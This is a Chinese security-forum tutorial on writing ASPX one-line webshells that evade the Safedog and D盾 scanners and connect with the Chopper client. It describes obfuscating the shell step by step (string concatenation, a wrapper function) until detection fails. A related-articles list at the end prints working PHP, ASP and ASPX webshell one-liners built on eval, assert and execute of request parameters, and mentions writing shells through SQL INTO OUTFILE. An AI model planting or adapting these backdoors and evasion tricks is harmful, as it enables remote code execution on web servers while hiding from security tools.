hi,我是凉风,(以下内容纯属个人见解,如有不同的意见欢迎回复指出) ,本菜比发现aspx过狗的姿势不常见,不像php一样一抓一大把,于是我决定研究一下aspx

本文作者:i春秋签约作家——凉风

引用i春秋作家团大佬@非主流  对一句话木马的理解:

一句话木马的意思就是,我们制造了一个包含远程代码执行漏洞的web页面。

目录:
0×01:我没有aspx代码编写基础,我该从哪入手?
0×02:正式开始:从过狗菜刀配置文件里寻找思路
0×03:再写一个:分析各种拦截机制,一一绕过
0×04:总结

0×01:我没有aspx代码编写基础,我该从哪入手?

在这里,本菜比与小白们一起学习:如何自己写aspx过狗一句话木马
“授人以鱼不如授人以渔”
前期准备(建议,自行决定):

(1)了解aspx,aspx的百度百科至少看一遍,看懂aspx一句话木马
(2)准备好可以查资料的网站(aspx语法、函数等必备知识)、工具,例如官方手册(chm文件)。
(3)本地搭建环境,装好安全狗,D盾顺便也装了
(4)菜刀肯定不可少

aspx文件就是asp.net文件,需要.net 环境,用“C#”,“Jscript”等语言编写。
Jscript手册我会放在附件里
我用的是2003server+iis+asp.net环境,装了 .net 2.0与4.0

0×02:正式开始:从过狗菜刀配置文件里寻找思路

我并不会aspx,起步的时候很难凭空弄个过狗的出来,那么就要自己想办法。

因为曾经分析过:过狗菜刀php的配置,配置里过狗的思路与php过狗木马类似,所以我在没学过aspx并且没有过狗的aspx一句话作为参考的时候,突然想到酱紫做。
曾经的分析:https://bbs.ichunqiu.com/thread-26196-1-1.html

我们看一下配置文件关于aspx的部分:

先根据它的格式还原回正常的代码(把%%换回%)

可以看有一部分是经过url编码的,因为asp.net文件貌似不能直接解析,所以先还原,看还原之后的代码。

利用网上的在线解码直接转码:

因为我曾分析过,知道:其中%s是菜刀要执行的经过base64加密的命令。

所以应该有一个base64解密函数,以及代码执行函数

这两个函数很容易找出来,

其中编码为:65001,这是utf-8。

仔细看了看有些不对劲,aspx代码部分只给了这两个函数,也就是说,aspx过狗的那一部分主要是前半段的url编码。找到的这两个函数并没有使用过狗的姿势。难道这次分析白费了?先试试再说吧,简单利用base64解密函数。(本来就没学过aspx,知道个base64解密函数也不亏了)

看我操作

我用安全狗、D盾扫描了一下,居然奇迹般的绕过了

再用菜刀连接,没问题。

(注:D盾防护全开后,将限制木马的权限,不在本文考虑范围,本文只使用D盾的后门扫描功能,安全狗全开)

0×03:再写一个:分析各种拦截机制,一一绕过

第一种方法感觉有运气成分在内,并不是我希望看到的,所以再写一个吧

这回我们靠自己。

一行一行的写代码,看看他什么时候会拦截

不再使用base64解密函数,自己寻找别的方法。

写一个光明正大的aspx木马

安全狗拦截,可是D盾只是可疑的级别,也就是说,如果只装D盾,木马不会被拦截。(已测试哦)

再改改

这次删掉了unsafe参数,安全狗照样拦截,但是D盾什么也扫不出。.net 4.0 下的eval的第二个参数取消,也就是说.net
4.0开发的网站,只装D盾,这个木马就可以绕过。但是为了兼容性,我们试着绕过“unsafe”这个拦截机制,(可以用base64解密,但是我说过不用)

用字符串拼接的方法:

安全狗还是没绕过,但是D盾没检测出unsafe参数被加进去,所以什么也没扫到。

接下来就是绕过安全狗了。

第二个参数做了绕过D盾处理,那么第一个参数来绕过安全狗的检测吧,有经验的人都知道安全狗没那么严格,第二个参数的unsafe应该不会被安全狗拦截。

创了一个函数fun(),直接返回接收到的pass的内容,也就是说经过了一个函数的传递,安全狗就不认识了。

菜刀连接成功,没问题

0×04:总结

aspx的函数没有php的函数多,个人感觉aspx花样不多,所以绕过waf的姿势不像php一样多。但是由于使用aspx的网站没有php的那么多,所以waf对aspx的重视程度没有php的大。

(学习)方法很重要,之前我没有具体分析waf的一些拦截机制,直接使用各种错误的姿势,走了一堆弯路,后来一步一步试,看怎样会被拦截(就像测试sql注入绕过一样)。用这种方法感觉效率快多了,而且思路清晰连贯。

如何自己写aspx过狗D盾一句话木马的更多相关文章

  1. python写一个能生成三种一句话木马的脚本

    代码: import time import os from threading import Thread import optparse def aspyijuhua(): try: juy=op ...

  2. 一句话木马变形(截止2020年8月16日通杀D盾、安全狗,微步,webshellKiller)

    首先一句话木马: <?php assert($_POST['a']); ?> D盾扫描,5级 分开写: <?php $a = "assert"; $b = $_P ...

  3. 一句话木马:ASPX篇

    aspx木马收集: <%@ Page Language="Jscript"%><%eval(Request.Item["chopper"],& ...

  4. 渗透技术--SQL注入写一句话木马原理

    讲一下SQL注入中写一句话拿webshell的原理,主要使用的是 SELECT ... INTO OUTFILE 这个语句,下面是一个语句的例子: SELECT * INTO OUTFILE 'C:\ ...

  5. 简单的一句话木马(asp aspx php)

    一句话木马: 1. #asp <%execute(request("pass"))%> 2. #php <?php eval($_POST[pass]);?> ...

  6. [WEB]绕过安全狗与360PHP一句话的编写

    00x01安全狗的确是让人很头痛,尤其是在上传一句话或者写入一句话的时候,会被安全狗拦截从而拿不下shell.当然,安全狗是最简单的一款waf,很容易就进行一个绕过.00x02对于绕过安全狗跟360, ...

  7. thinkphp下的Webshell&&php过D盾一句话

    环境: Thinkphp 5.0.15 PHP version:7.0.12 WAF: D盾 ,安全狗 Thinkphp 采用 MVC 模式  核心:模块 -> 控制器 –> 方法 思路: ...

  8. PHP一句话木马小总结与SQL语句写一句话木马

    一.基础类的一句话--功能仅限于验证漏洞了,实际中太容易被查出出来: <?php @eval($_GET["code"])?> <?php @system($_P ...

  9. PHP结合SQL语句写一句话木马

    一.基础类的一句话--功能仅限于验证漏洞了,实际中太容易被查出出来: 1 <?php @eval($_GET["code"])?> 2 <?php @system ...

随机推荐

  1. ajax基本常识及get请求方式

    <%@ page language="java" import="java.util.*" pageEncoding="UTF-8"% ...

  2. Varint 数值压缩

    [Varint 数值压缩] Varint 是一种紧凑的表示数字的方法.它用一个或多个字节来表示一个数字,值越小的数字使用越少的字节数.这能减少用来表示数字的字节数.比如对于 int32 类型的数字,一 ...

  3. [z] How can we render CSS3 in a WebBrowser Control ?

    http://www.pedautreppe.com/post/How-can-we-render-CSS3-in-a-WebBrowser-Control-.aspx

  4. advance shading--光源的类型

    我们这里讨论的光源类型都有一个相同点,就是,我们考量的都是光源上的一个点,对于物体表面上一个点的影响,也就是说立体角趋近为零的情况. 这里光源分为两类,一类是方向光,假设光源在无限远处.另一类是点光源 ...

  5. YUI前端优化之内容篇

    Excetional Performance团队总结出了一系列可以提高网站速度的方法.可以分为7大类34条.包括内容.服务器.cookie.CSS.JavaScript.图片.移动应用等七部分.一.内 ...

  6. IE6789浏览器使用console.log类似的方法输出调试内容但又不影响页面正常运行

    问题来源:外网IE下,触发js报错.经检测,未清除console造成.清除console后,解决. 问题原因:console.log 原先是 Firefox 的“专利”,严格说是安装了 Firebug ...

  7. 2.QWidget类

    简述: QWidget类是所有用户界面对象的基类. Widget是用户界面的基本单元:它从窗口系统接收鼠标,键盘和其他事件,并在屏幕上绘制自己. 每个Widget都是矩形的,它们按照Z-order进行 ...

  8. mongo学习- mapReduce操作事例

    源数据: { "_id" : 1.0, "name" : "abc", "age" : 43.0, "type ...

  9. unittest单元测试框架之coverage代码覆盖率统计

    什么是coveage? coverage是一个检测单元测试覆盖率的工具,即检查你的测试用例是否覆盖到了所有的代码.当你通过pip install coverage成功安装完coverage后,就会在p ...

  10. windows平台使用spark-submit以client方式提交spark应用到standalone集群

    1.spark应用打包,我喜欢打带依赖的,这样省事. 2.使用spark-submit.bat 提交应用,代码如下: for /f "tokens=1,2 delims==" %% ...